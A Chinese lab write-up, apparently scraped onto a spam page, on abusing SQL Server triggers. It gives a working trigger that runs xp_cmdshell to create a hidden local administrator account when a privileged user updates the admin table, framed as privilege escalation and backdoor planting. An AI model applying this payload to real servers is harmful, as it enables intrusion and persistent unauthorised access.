<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/3464

            0x01 什么是觸發器:


            觸發器對表進行插入、更新、刪除的時候會自動執行的特殊存儲過程。觸發器一般用在check約束更加復雜的約束上面。觸發器和普通的存儲過程的區別是:觸發器是當對某一個表進行操作。諸如:update、insert、delete這些操作的時候,系統會自動調用執行該表上對應的觸發器。SQL Server 2005中觸發器可以分為兩類:DML觸發器和DDL觸發器,其中DDL觸發器它們會影響多種數據定義語言語句而激發,這些語句有create、alter、drop語句。

            0x02 問題描述:


            a)通過Sqlserver的觸發器,可以利用執行者的權限執行自定義的命令。

            b)滲透過程中可能利用的觸發器場景:在設置好觸發器以后,等待、誘使高權限用戶去觸發這個觸發器,來實現入侵、提權、留后門等目的。

            c)Sqlserver的觸發器可以分為兩類:DML觸發器(After insert,After delete,After update和instead of)和DDL觸發器(for)。

            實驗環境: Win2003x86 && SqlServer 2005,默認安裝Sqlserver,安裝一個開源應用siteserver,并建立test用戶,不給予服務器角色,數據庫角色僅給予dbo和public權限。并將test庫與test用戶相互映射。SqlServer的xp_cmdshell已經被恢復。

            實驗過程: a)使用test用戶建立觸發器語句:

            #!bash
            SET ANSI_NULLS ON
            GO
            SET QUOTED_IDENTIFIER ON
            GO                             --這些是 SQL-92 設置語句,使 mssql 遵從 SQL-92 規則。
            CREATE TRIGGER test
               ON bairong_Administrator
               AFTER UPDATE           /*建立一個作用于表bairong_Administrator的、
                                        類型為After update的、名為test的觸發器*/
            AS 
            BEGIN
                --EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'
                       EXECUTE MASTER.DBO.XP_CMDSHELL 'net user STD 123456 /add'
                EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators STD /add'
                       /*默認格式begin為開頭加上觸發后執行的語句,這里是利用儲存過程添加系統賬號。*/
            END
            GO
            

            enter image description here

            b)執行UPDATE操作,是觸發器執行:

            1)使用UPDATE語句來觸發觸發器:

            #!bash
            UPDATE bairong_Administrator SET [email protected]' WHERE UserName='admin';
            

            使用test用戶執行:

            enter image description here

            enter image description here

            enter image description here

            2)使用sa用戶執行:

            enter image description here

            enter image description here

            enter image description here

            那么這就產生一個問題了,如何利用被動觸發留后門或滲透攻擊。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线